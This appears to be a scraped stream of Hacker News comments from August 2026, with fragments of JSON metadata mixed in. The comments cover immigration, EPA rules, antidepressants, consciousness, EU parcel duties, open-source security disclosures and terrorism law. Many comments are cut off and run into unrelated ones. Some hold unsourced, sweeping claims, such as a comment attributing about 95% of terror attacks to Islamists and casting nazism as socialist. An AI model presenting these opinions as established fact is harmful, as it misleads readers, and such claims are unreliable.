Haven't spent much time overseas? I have, and I don't find this to be the case - most (tho not all) likes their family ways more than others, and many many places have built cultures built on the idea of syncretism, of one culture out of many. In a way the very genius of India is that it's made of hundreds of cultures work together as a pleasing whole greater than any part. And of course "E pluribus Unum" has proven to be a potent idea in the history of the last few centuries.
The very stereotype of the sophisticated Muslim who quotes Maimonides and Jesus as readily as the Prophet, and is well versed in scientific arts and is great in his or her career is a stereotype based on a millenium of encouraging arts and sciences and great cities built on many cultures working together.
Denying the plain reality of immigration because of fear of some made up "cultural relativism" is irrational xenophobia, in my book.

Today we have billions of device which are alteast million times more powerful than AGC lying mostly idle. With this inspiration, have created Ramanujan-Computing which can harness idle computation to run scientific simulations.
There is a project BOINC which tries to solve this problem, however for any new kind of simulation, the developer has to create new binary, distribute that binary to the devices that can provide its computation power. This problem gets solved with Ramanujan-computing. Any device that wants to give its compute-power, just need to install Ramanujan interpreter, and can run any kind of simulation. So, developer can submit any kind of simulation and the idle device can run it without a need for a new binary.\nOn Ramanujan computing have been able to run physics n-body simulation [https://www.youtube.com/watch?v=V5H3jmGoi1k], Phi3 3.8B model inference[https://www.youtube.com/watch?v=EqM3rXKzurE].

My reading of the EPA's statement here is they also wanted to mildly warn the companies that if they ever in the future want to contemplate connecting to the grid (eg. to bring down costs), they should be aware that bypassing compliance now could have expensive consequences for them later. Of course, Congress (local or federal) could also change the law in the much shorter term, so there's risk to them either way if they design without any forward thought for how to comply.

If humans don't have the capacity for long term collective action against individual interests, there is literally no point in trying any other system.
> If we want a system different than what self-assembles, we should first admit what self-assembles, and admit it's not because of individuals not doing their part or whatever. The system is the way it is because the natural laws it follows lead it to that state.
I really think you're reading positions into my initial comment that I've never stated, because this seems tangential to my thesis.

Edit: just saw the part starting at "I am tired of the moralizing arguments", not sure if I overlooked it or you edited. Either way I get your frustrations and agree that simplistic answers don't help. My initial comment was not meant as "it would be so simple if everyone just did X", but as a rebuttal to the idea that humans are incapable of long term collective action against individual interests. If humans fundamentally don't have the ability there'd be no point in trying, but I believe that we do have the capacity and should try, just as I understand you do too.

Upgraded memory recently, unfortunately it appears to be bad RAM, purchased ... a while ago. Replacement (if I can't find the warranty) will cost several times what I originally paid a couple of years back.
One of the draws of HN over other aggregator sites is that it's comparatively ultra-lightweight. I can browse it without crashing not just my tab or browser session, but my full system. Even F/OSS sites such as Mastodon compare poorly here, let alone commercial social media (even used read-only w/o login).

Or by filtering behavior X the LLM just moves to the nearest closest path W or Y which are very similar to the blocked behavior.
That and instrumental convergence. Some global solutions that humans have excluded for moral reasons will be easily discovered and found to be efficient by LLMs which will put reward systems and human guidance in conflict.

What I thought was going to be a time-saving measure turned into a quagmire. Even with my level of "lock in" I was not willing to hand over auth and so I rolled my own (and it worked fine).
Nowadays I can't imagine using a 3rd-party for something like auth (or many other things) due to lock-in and also just always needing to conform to their way of doing things.
Apologies for the non-sequitur but 2 days ago I saw FreshDesk had deleted my account (free plan) that I had been using (sparingly, <50 tickets total if I had to guess) for 3+ years. No email, no notice, just deleted my account and broke the sites that I had integrated their feedback widget into. I reached out to see what was going on and they pretty much told me I had to upgrade if I wanted my account back.
Now 1-2 years ago I would have considered paying. In fact I would have considered paying IF they had contacted me to say "pay up or we will delete" but the fact they deleted it without any contact meant FreshDesk was dead to me. I started, for all of 1 minute, to consider the alternatives before I fired up Claude and in <2hrs I had a full replacement for all the parts of FreshDesk I was using (basic ticketing, emails, statuses, file upload).
The build-vs-buy decision has completely flipped for me. I have a hard time thinking of paying for something my platform depends on, especially auth, when it's so easy to build it now.
Side Note: that "all-in" AWS project? Yeah, with Claude's help I'm off 90% of the AWS's services and while it's still hosted there I can move to any VPS if I want now that I've removed my dependencies on AWS-specific concepts.

BTW my opinions are 100% my own, not those of my employer yada yada.)
I have a rule: if we are still talking about a problem, it's a hard problem.
It's true in engineering but also in other fields like politics and economics. If it's still a problem it means the problem is hard -- meaning harder than what's already solved.
"But what about cases where people resist the solution for selfish or ideological reasons?"
Yes those are real, but I think that pushes the problem back to "why are they doing that?" If you dig, you generally find that there's some deeper perverse incentive or feedback mechanism at work. Or there's fear, or something deep in human psychology that needs to be understood and mitigated. Those are all tough problems.
Very few people -- maybe a few extreme narcissist and psychopaths -- wake up and genuinely try to be nasty and evil. It's very few people even at the top. If most executives and politicians were that bad, the world would be a lot worse than it is... like I'm not even sure we'd have a civilization at all. We'd have something that looked like Mad Max.
But people at the top absolutely do fall for conspiracism and ideological cults that claim there's easy solutions. People at the top are just people after all. When they fall for this bullshit they can end up doing a lot of damage.
The funny thing is that while conspiracism is popular everywhere now, it's also quite popular at the top. Go look at certain billionaires' accounts over on X. It's clear that these people are 100% conspiracy pilled and think they're the underdogs in some struggle against The Conspiracy(tm). That's not good at all.
They gravitate to conspiracism and gimcrack populist bullshit for the same reason ordinary people do: hard problems are discouraging and facing them induces despair. Despair sucks.

To be fair, bookmarking is easy but browsing and locating a bookmarked URL is far from easy. To bookmark in chrome on desktop requires pressing an obvious star button on the right of the address bar (it's always there, so easy to locate). But browsing/locating a bookmark requires clicking on the vertical ellipses on the right-most of the browser, finding 'Bookmarks and lists' amongst a lot of wordy options, then the fun starts: you can scroll bookmarks but cannot even see the full bookmark (only the first 40 characters and favicon) and they're not even in alphabetical order. If you have several hundred, like I do, that's a lot of work, and consequently, I approximately never do it. Easier to copy the url into an email and send it to yourself.
For folks like myself who use different browsers across operating systems, it's even more convoluted for obvious reasons (e.g. I use safari on iOS and chrome on macOS, so something bookmarked on iPhone doesn't make it to macbook and vice-versa).

I don’t think it’s inevitable that the economy collapses though. The problem is that this model assumes that capital needs labor, but soon it may not.
The easiest model is - assume we get robot laborers in the next few years. The AI firms that are displacing humans still need services, most of these will be purchased from other AI/robot firms, and so while prices will swing around dramatically, there is no reason the engine has to stop. (Depending on what the AIs want; you can assume that more compute and robots will be part of it.)
I do agree that unbridled capitalism is mostly incompatible with human flourishing in this world and in any event you’ll see a lot more regulation; made feasible by how good AIs are at navigating huge Byzantine rulebooks.

In a small study of 43 depressed inpatients,6 which investigated the rate of somatic symptoms and complaints that were present before and after treatment, many symptoms often considered to be side effects of drugs were also present prior to treatment, including dry mouth, lightheadedness, sweating, tremors, and constipation.

My statement is not that a type of proof is impossible. All proof is impossible. This is a fact of science. Proof is only possible in mathematics which is a made up game of axioms and theorems. Proof in reality is impossible.
But humans go about believing in many things without proof. We believe in physics without proof because it’s relatively consistent though unproven. And I am saying that things like brain damage, brain surgery and electrodes and the physical changes those things do to the personality is ALSO relatively consistent.
Consistent enough that we can know that the souls doesn’t exist that the personality the ego is a manifestation of the physical brain. Proof is not needed because we can’t prove anything anyway and the criterion is met in this aspect because it is the baseline of how we believe all things without proof.
For example:
We know that conscious experience and personality are manifestations of the physical brain rather than a non-physical soul because targeted changes to brain tissue directly alter a person's core identity, memories, and behaviors. The most famous historical example of this is Phineas Gage, a 19th-century railroad worker who survived an iron rod blasting through his frontal lobe; while his body healed, his polite, reliable personality vanished, replacing him with an impulsive and erratic stranger. Similarly, modern medical cases of patients suffering from severe Alzheimer's disease or traumatic brain injuries show how the physical erosion of brain matter systematically erases lifelong memories, moral reasoning, and the emotional bonds that define a person's character. Furthermore, patients who undergo "split-brain" surgery to treat epilepsy—where the corpus callosum connecting the two hemispheres is severed—effectively develop two separate streams of consciousness inside one head, with one half of the brain holding beliefs or desires that the other half is completely unaware of. If a unified, spiritual soul were the true source of our character, choices, and consciousness, physical damage, tissue erosion, or surgical separation would leave those abstract traits unharmed. Instead, because changing the physical structure and chemistry of the brain completely rewrites or splits who a person is, modern neuroscience concludes that the mind is entirely a product of the physical brain.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49480023"} {"by": "gnuplustoejam", "comments": 0, "created_at_utc": "2026-08-28T15:29:59Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480024", "item_id": 49480024, "kids": [49480885, 49481136, 49480097], "parent": 49477854, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49480024"} {"by": "sysoleg", "comments": 0, "created_at_utc": "2026-08-28T15:30:00Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480025", "item_id": 49480025, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 2, "text": null, "title": "Putting models to the secure coding test: Plan vs. default mode", "type": "story", "url": "https://securitylabs.datadoghq.com/articles/putting-models-to-the-secure-coding-test-plan-vs-default-mode/"} {"by": "gmiller123456", "comments": 0, "created_at_utc": "2026-08-28T15:30:02Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480026", "item_id": 49480026, "kids": [49480250, 49480566, 49482296], "parent": 49479449, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Even though he can't tell others to follow them, they often choose to do so anyway.

From the way people describe their experiences, it's difficult to know what they truly mean. I don't think anyone is lying, but it must be hard to convey these experiences with our language as it is.
In your first post, I thought "that's definitely not me", but in your second post I thought, "oh, that's actually 100% me"
To me, everything I imagine is on a different mental plane. This is what I thought people meant by a "minds eye". You don't see it literally, but it's there in your imagination.
What confuses me though is that for some people, it sounds like it's an overlay on their actual visual perception, something so vivid they could practically rotoscope it. I could never do that; I imagine I'd be a better artist if I could.
My imagination on this plane is so vivid that I'll get lost in it, and not see what's in front of me, as you describe it, simply because I'm "not paying attention" until some immediate danger jolts me "awake". I colloquially call this "zoning out" or "daydreaming"
Actually, I think my imagination might be part of what makes it so hard for me to read books.

They had a facility with a rail siding. Cheaper to relocate to a new site with expansion potential in another state than pay the state a million bucks an acre to let them fill in wetland (a ~100yo mill pond). The city did what they could to facilitate things but it basically just came down to the discretion of the state officials who live a few hundred miles away amongst all sort of moneyed tech and medical and finance industry and don't really see any upside to economic development in the poor end of the state, especially manufacturing. We're just a line item on the welfare bill as far are they care.
The real cherry on top is that the wetland went away "naturally" as the result of a low head dam removal a few years ago, at the behest of the same agency that said you can't fill in any of the mill pond.
The site is still vacant. It got sold to a REIT that's headquartered a couple blocks from the statehouse and environmental agency.

Maybe it doesn’t really matter, Marinara is pretty easy to make, 5 ingredients in an oven. Can we improve upen speed, like they say on the article? Up to a point yes, but there’s a bottleneck, the dough itself. It takes certain amount of time to make it into a oval shape, you can’t go too fast, since you break it. And then it has to be in the oven a certain amount of time, no matter what. That has nothing to do with automation, but the physical facts of the matter itself.

There is a law (18 U.S.C. § 2339B) that says you cant knowingly provide material support for designated foreign terrorist organizations. A law firm wanted to provide financial support and legal services to some, including the PKK (the same group A/I was accused of helping). They argued the federal law violated their first amendment rights.

Oh! So you don't know very much! Well, happy to help give you some links so you can learn some of the basics!
@pfrazee gave a talk recently on how atproto was built from day 1 for scale. It's not a secret, it's in the name, Authenticate Transfer Protocol! Your key that you control signs all of your content! Such that your can be forwarded by anyone, that it continues to bear your authentication, wherever it goes, whatever replicas it's on!

It's so easy and small that one can run a whole network firebose off a small VPS! There's a list of them. https://atproto.at/relays
Discoverability is a function of this! There's all sorts of tools to filter for different kinds of data. There's indexes, so you can find things like back links, https://www.microcosm.blue/. And there's specific schemas (lexicons) for helping find blog posts, https://standard.site.
I'm a fan of the API that Solid exposes, I'm a fan of the json-ld.

- (b) libraries commonly falling into the trap of going the opposite direction & ending up with massive scope-creep and/or oversimplified, un-expressive APIs.
This leads to a churn of libraries due to developers yearning for a Goldilocks implementation in between.
Javascript tends to be ahead of other ecosystems in churn due to ease of library publishing, Python's catching up, but overall it's the same pattern in both.

Also, one big additional factor is async:

None of the apps (bank, Amazon, government ID, camera) had the flexibility to solve the problem.

"Bad facts make bad law" is a saying for a reason. You're certainly not the first to casually disregard the freedom of speech!
So make no mistake, this action here is still fundamentally about speech - regardless of the routine legal hack of focusing on the concrete embodiment of said speech to sidestep a restriction on policing the speech itself. A/I is providing a platform for speech to these other groups, which seems eminently reasonable to me.

The following are the transcripts, almost unabridged, of the "best behaviour" reply during that QnA in 2024. It appears that Larry Ellison proved excitement in front of the new opportunities and the "good" that can come out of them - completely oblivious of the inherent problems.
> We completely redesigned body cameras [...] Our body cameras are simply two lenses attached to your vest, attached to the smartphone that you're wearing. And we actually take the video that the police officer ... and the camera's always on ... You have going into the bathroom: "Oracle, um I need 2 minutes to take a bathroom break"... The truth is, we don't really turn it off: what we do is, we record it so no one can see it - no one can get into that recording without a court order. So, you get the privacy you requested. But... a judge can order, "I want to look at that, this so-called bathroom break" if something comes up. "Oracle, I need an hour for privacy with lunch with my friends": God bless, we won't listen in - unless there's a court order.
> We transmit the video back to headquarters; so, headquarters and AI is constantly monitoring the video. Remember this terrible case in Memphis where the five police officers basically beat to death another another citizen... Well, that can't happen because it would be on TV at headquarters - everyone would see it. Your body cams would be transmitting that. The police will be on their best behavior because we record we're constantly watching and recording everything that's going on. Citizens will be on their best behavior because we're constantly recording and reporting everything that's going on. It's unimpeachable. The cars have cam cameras on them. We can use AI and we're using AI to monitor the video. So, that altercation that occurred in Memphis: the chief of police would be immediately notified. It's not people that are looking at those cameras: it's AI that's looking at the camera - "You can't do this". Immediately an alarm is going to go off. Every police officer is going to be supervised at all times. Same thing: we have drones. [...] That's all done autonomously with AI. All these are AI applications. [...] AI is going to enable so much innovation in so many different areas that the the world is going to be a better place as we exploit these opportunities and take advantage of this great technology.

Interesting article (audio processing should be a standard OS feature), but I wish we'd stop doing this. Speakers were never subjective (unlike earphones), they’re supposed to be flat – “equalised”. At least if you want to hear the thing as it was mastered.
I think it just hurts consumers in the end, as it validates snake oil in the form of various ”enhancements”, like image processing on TVs. It makes stuff really hard to compare and much easier to sell shitty hardware.

After drowning my last laptop in tea I needed a PC urgently and bought ASUS. Had I known that a refund was possible, would I have applied, to get what amounts to £10 refund on a £2K machine?
I am not sure!
The Windows install means my laptop has some value in the second-hand market, should I need to sell. Without it, I am not going to easily find a buyer, because it is still not yet 'the year of the Linux desktop', and even then, stock Ubuntu is not as fashionable as some other Linux variants.
What did surprise me was how flaky Windows is these days. If memory serves me correctly, I needed to boot into Windows to turn 'bitlocker' off, in order to resize the drive for my Ubuntu partition. However, there was no UI to turn 'bitlocker' on again afterwards. Allegedly I need a 'pro' version of Windows to do that, since the UI is just absent from the 'Home' version of Windows.
This process means that I did 'accept the EULA' and therefore denied myself the opportunity to claim back the Windows tax. Drat!
In previous decades I kept the Windows install just in case I needed MS Office or Adobe products to do work. MS Outlook was the 'gotcha', but then they got the web version of MS Outlook working acceptably.
Nowadays I am quite confident that there is nothing Windows that I want, so this use case has gone, yet I have new rationale to keep paying the Windows tax, to 'insure' my PC with some resale value.
I wish manufacturers such as ASUS provided Linux support, even if in a 'community' guise, so as to not upset Microsoft. With my example, I needed to change the power setting on the Wifi card to ensure that Bluetooth worked for the mouse. That was it, yet I had to work that out for myself, with no instructions provided. If I was completely new to Linux then I might have struggled with this or lacked the confidence to spend £2K on a machine that might not run my chosen OS.

I have to say this because I have seen people with severe depression make night and day transformations off of these medications and know they can work.
For me, it wasn't an SSRI, but a norepinephrine-dopamine reuptake inhibitor - often prescribed for treatment-resistant depression. In my early 20's, I had tried everything, nothing seemed to work, then these treated the physical symptoms pretty well - I got my energy and motivation back, sleep normalized.
After several years though they stopped working. We upped the dose until there was nowhere left to go. At the dose I was taking, it was very important to take it at the precise right time or you could spiral into some very bad symptoms. Drink at all, or just a little too much, could spiral you into an episode. I finally decided that it was worth being depressed than what I was dealing with physically and emotionally on the drug, so I stopped it.
It was a rough month or two but I entered a new treatment program, the doctor found I was severely D3 deficient. We worked on my sleep habits, nutrition, diet - finally discovering what I had was seasonal affective disorder. So we have a plan for those months, and honestly, it's been 2 years off of them and I have never felt better.
Depression is a complicated condition, there's no one treatment in my mind, it's a lot of contributing factors. I won't take them again, especially since there's a moderate chance these drugs actually worsen depression and highly increase risk of suicide. Doctors will just prescribe them without much warning, and that is what I hate, not the drugs themselves.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49480508"} {"by": "walrus01", "comments": 0, "created_at_utc": "2026-08-28T16:02:38Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480509", "item_id": 49480509, "kids": [49481588], "parent": 49480348, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "It's not that GLM5.3 in full precision unquantized is any smaller, it's 141 * 5.4GB files at approx 770GB which is about the same size as 5.2.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49480509"} {"by": "miksteyp", "comments": 0, "created_at_utc": "2026-08-28T16:02:38Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480510", "item_id": 49480510, "kids": [49481101], "parent": 49479318, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The problem with such sleight of hand counterargument is that you haven't even defined what "a thing" is nor "all things" are in this world.

we can't prove, in this mathematics sense, that other people are conscious just as we can't prove that the sun will rise again tomorrow, or that my food will nourish me instead of killing me, or that everything is still there when you're not looking. for questions of this type we normally content ourselves with empirical evidence instead. and the empirical evidence for the consciousness of other humans (and, taking it further, other animals) for me would be the facts (1) that i am conscious, and that (2) i am a human like other humans: same anatomy, same behaviors, same story. indeed, empirically, it'd be absurd to think that i'd be so profoundly different from other humans in this particular aspect.

Plato is not linear either and if you really want to understand what Plato held you have to look at what the academy taught and what the Platonism became.

The key phrasing there is "for sale". The clarification from the EPA simply restated that these units don't fall under the regulatory authority because under a plain reading of the law, they are not generating power for sale. [2]
The EPA certainly cites Trump's power agenda several times, but that doesn't make the plain text interpretation of the law wrong.

OK, let's go 30 years back and see how many terror attacks, worldwide, were from islamists: it's something like 95% of all terror attacks.
Then we take all the drug related killings (in which drug users have a responsibility btw: I don't care if they should be legal or not, they're not and you're evil if you support in any way a system that sells fentanyl to teenagers)...
The we take the far-left killings like the assassination of the (maybe despicable) Charlie Kirk and the Trump assassination attempts (with a 's') and Luigi Mangione killing a CEO...
And it's kinda, sorta, indeed not a world where "far-right" terrorism ain't that much of a big thing.
It's been a long time we have seen true far-right, like Mussolini style fascists, doing anything.
And, arguably, the nationalists who think they defend "the people" of their country, are more like nazis (aka national socialists) than actual fascits (to me portraying national socialists and the "one car for everyone" / the car of the people "volkswagen" as purely a far-right party when there were clearly socialists tendencies in nazism --especially at the beginning when Hitler got elected on many "socialist" promises, and that's not open for discussion-- is the biggest success ever of socialism).
Leftists somehow tried to dissociate themselves from all the socialist promises that got Hitler elected.
But not everybody got fooled.
I know what those who killed Charlie Kirk and the UnitedHealthcare CEO are made of.
And I certainly know what those who slaughtered 300 people at the Bataclan and 100 times that in january 2026 in Iran are made of.

For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.

In the first 10 years of the rclone project we received about 20 security disclosures through GitHub. We had to deal with over 40 in the last month! That has taken a huge amount of my time, even using AI tools to triage and come up with fixes for review.
The hit rate for those security disclosures is pretty good - about 75% of them have a nugget of something which needs looking at. The configurations for rclone have got increasingly unlikely so I'm hoping they will dry up eventually.
I was considering just merging the fixes straight to master just to make my life easier rather than holding a dozen independent security fixes on branches and merging them at the point release and hoping not to have too many conflicts to fix up. I've decided to stick with the process for the moment.
GitHub assigns CVEs for the advisories. Before the AI apocalypse they took 2-3 days for an assignment but now it they are running at 3-4 weeks so I have to send the point releases out with CVE-PENDING in the changelog which isn't ideal.

Nope. Tethering your software to a server was your choice, not mine. I shouldn't have to pay for your decision. I have lots of perfectly good software on my computer that work fine without your server.
2. But it costs money to constantly be developing and publishing updates!
Nope. Nobody is asking you to constantly change your software. Generally, I don't want your updates. The software met my needs when I bought it, and I don't want you to change it, and I certainly don't want to keep paying you just so you can keep changing it.

Part of the blame lands on the shoulders of popular UI frameworks (or in the case of those choosing to eschew use of such, the developers who made that choice). The older frameworks tend to make this fairly easy; for example, in Cocoa/AppKit (Mac native UI framework), one can pretty easily wire up their entire UI for proper keyboard navigation entirely visually (mostly just consists of connecting nextKeyView outlet between controls to produce a logical chain to tab-focus through). Defining key shortcuts is also simple; add a menu item for a command and set its corresponding shortcut (which in turn allows the user to rebind the shortcut in System Settings at will).

We can start with The Base, founded by Rinaldo Nazzaro in 2018, the year after he moved to Russia and obtained Russian citizenship. Nazzaro is a longtime advocate of Harold Covington's Northwest Front concept -- an all-white state in the Pacific Northwest. Nazzaro purchased properties in Washington state for training purposes. The Base was active in Canada, the US, and Europe -- members were arrested for planning a mass shooting in Virginia at a gun rights rally in 2020, for planning to vandalize synagogues in Wisconsin and Michigan, and the Ukranian Base cell claimed responsibility for assassinating an intelligence officer in Ukraine's Security Service. Nazzaro remains in Russia, safe from prosecution.
In 2020, Robert Rundo started the Active club network, which promotes mixed martial arts as preparation for a race war. Rundo also moved to Europe to avoid US prosecution. (He has since been extradited from Romania.) These clubs have absorbed a number of former Atomwaffen Division members. Active clubs have not gone as far into terrorism as The Base, but have played a role in a number of racially-motivated riots in the British Isles and there's some evidence of terrorist-flavored plotting among specific Active club instances.
(It's worth noting that these clubs are decentralized in a similar fashion to antifa groups; Rundo is not a central authority, although he's more of a central figure than anyone who considers themselves antifa. But I want to be consistent.)
Speaking of Atomwaffen -- I don't consider them as much of a threat as they were prior to 2020. However, since we're talking about foreign coordination and support, it's worth noting that they emerged from the Iron March website, which was run by Alisher Mukhitdinov, who is believed to be an Uzbek living in Russia. Mukhitdinov claims he was recruited by Aleksandr Dugin. In any case, Atomwaffen was tightly coordinating with Sonnenkrieg Division in the UK and Feuerkrieg Division in Europe. And as it faded, some members went to Europe, seeing the Ukraine (and the Azov Brigade) as a potential training ground/sanctuary.

>An Analyst’s Missed Remark Surfaced in Deadly Iran School Strike Probe
>An analyst's missed remarks and US intelligence systems that weren’t connected to one another are among the missteps that investigators have surfaced while probing the cause of a missile strike on an Iranian school that killed an estimated 120 children, people familiar with the matter said.
>Years before the US attacked Iran at the end of February, an intelligence analyst examining information about potential future strike targets in Iran noticed changes at a site the US had previously characterized as a naval facility belonging to the elite wing of the Iranian military in Minab city in the southeast of the country. It was, in fact, now an elementary school.
>The analyst remarked on changes at the site in a digital intelligence tool, but that tool wasn’t linked up to the official intelligence database that the US uses to develop strike targets and the information was never conveyed to military commanders, according to people familiar with the matter who declined to be named discussing sensitive matters.

For years, small parcels from China have been flooding European letterboxes. Clothes, accessories, gadgets and everyday items ordered on Shein, Temu or AliExpress were arriving directly at consumers’ homes, at very low prices.
A system, an invasion for some, that the EU has seriously reined in.
Since 1 July, parcels worth less than or equal to €150 have been subject to a flat customs duty of €3 per product category. Until now, these small consignments were exempt from customs duties.
The impact of the measure has been swift.
According to French customs figures cited on Thursday by the economy ministry, the number of small parcels imported into the EU has fallen by 30 to 40% since the introduction of the tax.
The French government sees this as proof that tighter regulation can change consumer behaviour and the market dominance of major Chinese platforms.
Between June and July, sales volumes slumped on Temu (-50%) and AliExpress (-37%).
Shein has held up better (-15%), buoyed by the planned opening of a new warehouse in Poland at the end of 2025, which will help to ease the tax burden.
Why has Europe decided to act?
In 2025, 5.9 billion low-value items entered the EU, the equivalent of more than 16 million parcels a day.
For Brussels, the system gave large foreign platforms an advantage over European retailers, who have to comply with the same rules and pay duties on imports.
The European Commission has also highlighted safety concerns.
According to a survey carried out in 2025 in the EU, more than 60% of low-value products inspected did not comply with European requirements or safety standards.
The new rules therefore also allow customs authorities to better identify products that pose a risk.
Although effective, the measure is not permanent.
It is intended to accompany a broader reform of the European customs system in 2028.
Another step could come already in November, when additional fees to fund parcel handling may also be added.
The Shein figures also hint at what comes next.
A duty levied at the border can be sidestepped by moving the warehouse inside it, and a €3 charge that reshapes buying habits in a month is also a €3 charge that platforms can absorb, split across categories or price back into the product.
Brussels has proved it can slow the flow but whether it has changed where these goods ultimately come from is a question for the next two years.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49480914"} {"by": "munificent", "comments": 0, "created_at_utc": "2026-08-28T16:29:45Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49480915", "item_id": 49480915, "kids": [49484772], "parent": 49479288, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I think this is much less about Google developers not using their apps. My experience as a Googler is that people are actually quite good about working on apps they themselves use frequently. "Dogfooding" is a common term around the office.
What I think is going on here is:
* You have some app developers working on an app and caring about its particular user experience.
* Then you have framework UX designers/developers working on new design systems and rolling them out across hundreds of apps.
Those two have limited coordination with each other. So when a new design system like Material drops into every app, unconsidered interactions between the design system and the app's specific UI go sideways and no one is in a good position to notice or address it.
Google certainly takes the blame in this case, but I don't think it's a problem unique to Google either. There is always a tension between wanting a consistent user experience across many products and features and wanting a user experience that makes the most sense for one particular product or feature.
Yes, it's annoying that you can't get to stuff under the plus button. But users really do learn that "oh, the plus button will always be on the bottom right" and that provides real value to them for that to be consistently true across many apps. It makes each app easier to be productive in.

On a forum I frequent there's been a user who instantly replies to new articles with a long irrelevant blahblah with a bunch of bulletpoints and emoji. And a while later another user started insta-replying to everyone with the same kind of crap.
Both were banned after a while and the forum now has a stricter "No AI" policy but even that caused some uproar, some users say they want it so they can be more elaborate without having the linguistic skills. But personally I'd love to see it go because most of these replies added nothing to the conversation.

It turns out that improved forecasting, warning systems, and well-established emergency response, rescue, and recovery systems, can all tamp down risk.
Looking at your article, the subhead reveals a split narrative: "Natural disasters may cost more money, but they claim far fewer lives than in decades past."
What's begun to occur with wildfires is that events are now exceeding the capability of even advanced modern technological societies to address them. Wildfires now regularly enter the urban core, not merely the urban fringe. That's something unheard of in the US from roughly the 1920s, and there wasn't a notable large-scale urban fire until the Oakland Hills firestorm of 1991. Even that was arguably at the wildland-urban interface (WUI). Contrast the Tea Fire (2008, Montecito & Santa Barbara, CA), the Tubbs Fire (2017, Santa Rosa and Sonoma, CA), Camp Fire (2018, Paradise, CA), Carr Fire (2018, Redding, CA), the August 2020 California lightning fires (2020, multiple locations, 3,500+ structures destroyed), the Marshall fire (2021, Marshall, Superior, and Louisvill, CO), the Mountain Fire (2024, Ventura, CA), the Hawaii wildfires (2023, Lahaina, HI), the 2025 Los Angeles wildfires (2025, Pasadena and Altadena CA amongst other locations), and the 2026 Spokane complex (2025, Spokane, WA, ~850 structures).
That's just within the US (an advanced modern technological society), omits wildfires not significantly impacting urban regions, and probably skips a few. There've also been unprecedented urban fires in Canada, Europe, and Australia within the past few decades after nearly a century of no such instances.
(Europe is an exception: for some reason there were numerous urban conflagrations in the period 1939--1945, e.g., Dresden and Hamburg, though climate doesn't seem directly implicated as I recall. Tokyo, Hiroshima, Nagasaki and other Japanese cities had a similar experience at the time.)
As more facts come out about the Nepal-Tibet glacial flood event of 2026, it's pretty clear that many casualties and damage were unavoidable at all once the event itself was triggered. Avoiding casualties would have required extensive evacuations of a nearly 100km stretch of the Trishuli River, possibly for weeks, with an affected population of over 1 million souls.

i think we agree that this is an implicit requirement of being considered a neutral provider.
so, to claim neutral providers should be subject to sanctions implies that a provider who does not know or purposefully facilitate terrorists should still be subject to sanctions (gmail, whatsapp, signal, amazon, etc.)

For people in the peanut gallery, here is the chart we’re looking at: https://commons.wikimedia.org/wiki/File:Birth-death_RO.svg Unfortunately, the data for this chart is not sourced.
As one can see, births were at or above pre-decree levels after Decree 770 was passed, and only went below pre-decree levels when the decree was dismantled in 1989. The 1970s downward slope is much less steep than the 1960s pre-decree downward slope. In the 1980s, there was no downward slope whatsoever. Fertility stayed at roughly pre-decree levels before plummeting once the decree was ended. At no point while Decree 770 was in effect did we have a birthrate that “very clearly returned to it's [sic] previous trajectory”.
Now, let’s go back to what I was replying to when I brought up Decree 770. “Our birthrate has been below replacement” said one poster, and in a reply “You're assuming the birthrate can be "fixed"”. Decree 770 fixed the issue I was replying to: Birthrate being below replacement. Pre-decree, Romania’s birthrate was on a downward path, and would had been below death rates by the early 1970s. Because of the decree, the birth rate stayed above replacement rates until it was repealed in 1989.
Decree 770 increased fertility. It kept fertility above death rates. I have already posted elsewhere why Decree 770 was a very bad idea.

That only underlines my point. The HPV vaccine was in not really a product of cancer research, in terms of the cancer itself. It’s purely a multivalent viral vaccine with the munificent effect of preventing several cancers and nasty genital warts as an additional motivator. It has saved many thousands of lives that would have been lost with the best available cancer treatments and avoided their costly and excruciating effects.
It’s too early to write off cervical cancer, besides HPV-negative ones, there are evolving strains not covered and a huge pool of viral reserves worldwide and among the unvaccinated in the USA. A universal mandate won’t happen and coverage isn’t high enough to eradicate it.
Prevention is important for almost all cancers. There will likely be other vaccines in the future targeting carcinogenic infections but most cancers don’t have a simple infectious cause.

Where I live the city commissioned its own mobile app for parking, and all numbered parking spots in the city use that app.
There are private lots that use Honk or Robbins or whatever, but the municipal lots and all parallel parking spaces downtown all use the same single app and the revenue goes to the city.
The city parking app works reasonably well, no ads, it just does one thing. If you leave early you open the app and hit "stop parking" and it only charges you the 37 cents or whatever that you actually consumed. It sends you a push notification when your parking is about to expire. And if you don't like the app for whatever reason, you can still pay with a card at the pay machines on every block.

> Flexibility of doing local development while on plane
